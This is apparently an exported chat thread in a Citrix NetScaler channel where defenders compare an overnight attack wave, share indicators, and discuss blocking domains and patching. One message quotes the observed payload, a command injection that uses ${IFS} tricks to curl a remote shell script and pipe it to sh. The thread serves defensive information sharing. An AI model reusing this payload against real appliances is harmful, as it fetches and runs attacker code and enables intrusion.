is anyone else seeing a new wave of attacks? our S...
# citrix-netscalers
steven.shine
10/08/2026, 2:43 PMis anyone else seeing a new wave of attacks? our SIEM alerted us to a number of events that occurred overnight. I can share our findings here
r
Remy
10/08/2026, 3:45 PMCan you share please?
s
steven.shine
10/08/2026, 3:45 PMthis is the payload we're seeing:
pitbossPPEunexpectedly diedNSPPE;curl${IFS}-sSLk${IFS}<https://v5v.in/r.sh?k=iyGjuhfZ2OBs4qS2%7Csh;#> Xsteven.shine
10/08/2026, 3:46 PMand we're blocking these IPs/sinkholing these domains (in addition to the oct 2 lists that i believe were initially provided by richard faulkner):
<http://v5v.in|v5v.in><https://v5v.in/r.sh>j
Jeff Riechers
10/08/2026, 3:47 PMSame attack, just different ips.
👍 1
h
Henry Heres
10/08/2026, 3:55 PMAFAIK they try to exploit the latest still with a pitboss attempt which isn't that but an disguised payload drop which doesn't work. Fully patched after a redeploy and working still with support and forensics on this. What do you see??
Henry Heres
10/08/2026, 3:56 PMAh super thanks for sharing
Henry Heres
10/08/2026, 3:58 PMJust checked same message and ends with one of the applicable saml actions in it
s
steven.shine
10/08/2026, 4:08 PMhoping we don't see new 0days drop this weekend
h
Henry Heres
10/08/2026, 4:09 PMSigh….
n
nsvegman
10/08/2026, 5:36 PMSaw the same payload, just as the day was about to wrap up. Rude sense of timing of these people. :b